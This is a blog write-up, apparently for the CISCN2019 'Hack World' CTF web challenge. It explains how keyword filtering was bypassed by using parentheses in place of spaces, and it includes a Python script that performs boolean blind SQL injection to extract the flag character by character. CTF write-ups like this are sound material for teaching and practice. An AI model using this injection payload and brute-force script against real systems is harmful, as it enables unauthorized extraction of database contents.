[CISCN2019 华北赛区 Day2 Web1]Hack World 1 盲注

image
页面打开如上
获取到信息 flag在flag表中的flag列中
尝试注入
image
发现对用户的输入进行了限制
使用burp进行fuzz测试
image
其中535代表该页面对该条件进行了过滤
image
其中括号并没有被过滤 所以可以利用括号来代替空格
进行盲注 已知f的ascii码为102
构筑等式 (select(ascii(mid(flag,1,1))==102)from(flag))来判断该字符是什么 如果字符为ascii(102)也就是字符f 返回页面为
image
其中mid函数来标识flag列中从1开始步长为1的元素如果与102匹配就返回值1
至此我们可以写一个脚本来实现爆破

def sqlinjection():
    url='http://053354a0-0d05-4f36-bf56-58ee332c1e42.node5.buuoj.cn:81/'
    # header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0'}
    str=string.printable
    for i in range(60):
        for j in str:
            data={
                'id':f'(select(ascii(mid(flag,{i},1))={ord(j)})from(flag))'
            }
            time.sleep(1)
            recv=requests.post(url=url,data=data).text
            if 'Hello'in recv:
                print(j,end='')

string.printable函数将返回所有可打印的值 再通过ord函数转化为10进制进行比较 一个字母一个字母的进行爆破
image
得到flag

posted @   f0r9  阅读(26)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 25岁的心里话
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示